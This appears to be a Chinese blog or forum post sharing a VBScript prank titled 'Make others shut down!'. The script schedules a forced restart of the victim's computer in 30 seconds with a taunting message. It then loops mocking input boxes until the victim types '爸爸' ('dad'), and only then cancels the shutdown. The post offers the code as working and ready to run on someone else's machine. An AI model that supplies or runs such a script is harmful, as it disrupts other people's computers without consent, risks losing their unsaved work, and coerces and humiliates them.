让别人关机!(VB语言)

on error resume next
 dim WSHshellA
 set WSHshellA = wscript.createobject("wscript.shell")
 WSHshellA.run "cmd.exe /c shutdown -r -t 30  -c ""喊爸爸,不喊就30秒关你机,不信,试试···"" ",0 ,true 
 dim a
 do while(a <> "爸爸")
 a = inputbox ("小批!快点喊我爸爸 ""快点喊"" ","喊不喊?","不喊",8000,7000)
 msgbox chr(13) + chr(13) + chr(13) + a,0,"你喊不喊?不喊关你机了哈"

loop

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13)+chr(13)+chr(13)+"幺儿乖哦。老汉不关你机了!"

你可能感兴趣的:(让别人关机!(VB语言))